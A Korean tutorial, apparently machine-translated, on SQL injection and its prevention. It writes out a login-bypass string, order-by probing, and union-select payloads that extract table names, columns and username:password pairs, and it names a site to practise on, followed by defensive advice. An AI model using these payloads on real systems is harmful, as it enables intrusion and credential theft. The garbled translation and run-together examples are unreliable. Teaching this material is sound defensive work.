SQL 주입 의 실현 및 예방 예시 상세 설명

SQL 주입 이란 무엇 인가
SQL 주입 이란 특수 한 입력 을 구축 하여 원래 의 SQL 문 구 를 변경 하여 공격 자 에 게 도달 하 는 데 필요 한 조작 을 말한다.
Sql 주입 원인
Google 은 동적 웹 페이지 를 방문 할 때 서버 에 요청 을 보 냅 니 다.서버 는 데이터 액세스 층 에 Sql 조회 요청 을 합 니 다.인증 이 통과 되면 Sql 문 구 를 실행 합 니 다.사용자 가 입력 한 데이터 가 악성 Sql 코드 로 구 성 될 경우 프로그램 이 사용자 가 입력 한 데 이 터 를 세밀 하 게 걸 러 내지 않 으 면 불법 데이터 가 시스템 에 침입 할 수 있 습 니 다.
로그 인 사례 설명
select*from admin where uname='사용자 이름'과 pwd='비밀번호'
입력'or 1=1\#(C 빈 칸 이나 C+또는\#:뒤에 있 는 sql 문 구 를 주석 합 니 다)
이때 SQL 문 구 는:select * from admin where uname='' or 1=1 # and pwd=' '로 바 뀌 었 습 니 다.이때 SQL 문 구 는 영원히 성립 되 고 로그 인 을 돌아 갑 니 다.
GET 기반 SQL 주입
URL 에서 대응 하 는 ID 값 을 수정 하여 정상 적 인 숫자,큰 숫자,문자(작은 따옴표,작은 따옴표,작은 따옴표,괄호),역 슬 래 쉬 를 통 해 URL 에 주입 점 이 있 는 지 확인 합 니 다.
mituan.zone 에 로그 인하 여 테스트 할 수 있 습 니 다.
1.''1'' LIMIT 0,1':작은 따옴표 가 하나 더 생 겼 다.
SQL 문 구 를 추측 할 수 있 습 니 다:select login_name,password from admin where id = 'id' limit 0,12.'' LIMIT 0,1':작은 따옴표 가 하나 더 생 겼 습 니 다.
SQL 문 구 를 추측 할 수 있 습 니 다:select login_name,password from admin where id = id limit 0,13.''1'') LIMIT 0,1':작은 따옴표 가 하나 더 생 겼 다.
SQL 문 구 를 추측 할 수 있 습 니 다:select login_name,password from admin where id = ('id') limit 0,14.작은 따옴표,괄호 가 잘못 표시 되 지 않 고 문자열 형식"1"") LIMIT 0,1을 받 았 음 을 설명 합 니 다.':작은 따옴표 가 하나 더 생 겼 습 니 다.
SQL 문 구 를 추측 할 수 있 습 니 다:select login_name,password from admin where id = ("id") limit 0,1
SQL 주입 이용
1.order by 를 이용 하여 필드 수 를 판단 합 니 다.

order by n(n      )--+
사례 1 을 예 로 들다

select login_name,password from admin where id = 'id' limit 0,1
 ?id=1' order by 11--+
잘못 을 추측 할 때 는 잘못 을 보고 할 수 있다.

이때 3 개의 필드 를 탐지 하여?id=0' union select 1,2,3--+로 Login 을 탐지 합 니 다.name 은 두 번 째 열 에 있 고 Password 는 세 번 째 열 에 있 으 며 두 번 째,세 번 째 열 은 이용 할 수 있 습 니 다.
?id=0' union select 1,2,3--+2,3 을 user()로 변경:현재 MYSQL 로그 인 사용자 이름 보기,database():현재 사용 중인 MYSQL 데이터베이스 이름 보기,version():현재 MYSQL 버 전 보기?id=0'union select 1,user(),database()--+다음 그림 에서 정 보 를 얻 을 수 있 습 니 다.

2.유 니 온 select 를 이용 하여 공동 조회 하여 표 이름 을 가 져 옵 니 다.(유 니 온 select 를 사용 할 때 앞의 SQL 문 구 를 잘못 보고 해 야 합 니 다)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

3.유 니 온 select 를 이용 하여 공동 조회 하여 필드 이름 을 가 져 옵 니 다.(위 에서 조회 한 users 표를 예 로 들 면)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

4.유 니 온 select 를 이용 하여 공동 조회 하여 필드 값 을 가 져 옵 니 다.(위 에서 조회 한 users 표를 예 로 들 면)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a   ,          )

주소 표시 줄 에 정 보 를 표시 할 수 없 는 POST 형식 이 라면 대화 상자 에 주입 문 구 를 입력 할 수 있 습 니 다.






여기 서 사용 하 는 방법 은 주소 표시 줄 에 입력 한 것 과 마찬가지 로 앞의 SQL 문 구 를 잘못 보고 한 다음 에 유 니 온 select 를 사용 하여 표 의 데 이 터 를 꺼 내 는 것 입 니 다.
SQL 주입 방지 방법
  • 사용자 의 입력 을 필터 합 니 다.예 를 들 어 사용자 의 입력 을 검증 할 때 정규 표현 식,길이 제한,작은 따옴표 와 더 블"-"를 통 해 변환 할 수 있 습 니 다.
  • 프로그램 을 작성 할 때 동적 조합 sql 을 사용 하지 마 십시오.매개 변수 화 된 sql 을 사용 하거나 저장 과정 을 직접 사용 하여 데이터 조회 액세스 할 수 있 습 니 다.
  • 관리자 권한 의 데이터 베 이 스 를 직접 사용 하지 말고 모든 응용 프로그램 은 단독 적 이 고 권한 이 제 한 된 데이터 베 이 스 를 사용 합 니 다.
  • 비밀 정 보 를 직접 저장 하거나 암호 화하 거나 hash 에서 비밀번호 와 민감 한 정 보 를 떨 어 뜨리 지 마 세 요.
  • 프로그램의 이상 정 보 는 가능 한 한 적은 힌트 를 주 고 사용자 정의 오류 정 보 를 사용 하여 원본 오류 정 보 를 포장 하 는 것 이 좋 습 니 다.
  • 총결산
    SQL 주입 의 실현 과 예방 에 관 한 이 글 은 여기까지 소개 되 었 습 니 다.더 많은 관련 SQL 주입 실현 과 예방 내용 은 우리 의 이전 글 을 검색 하거나 아래 의 관련 글 을 계속 조회 하 시기 바 랍 니 다.앞으로 많은 응원 바 랍 니 다!

    좋은 웹페이지 즐겨찾기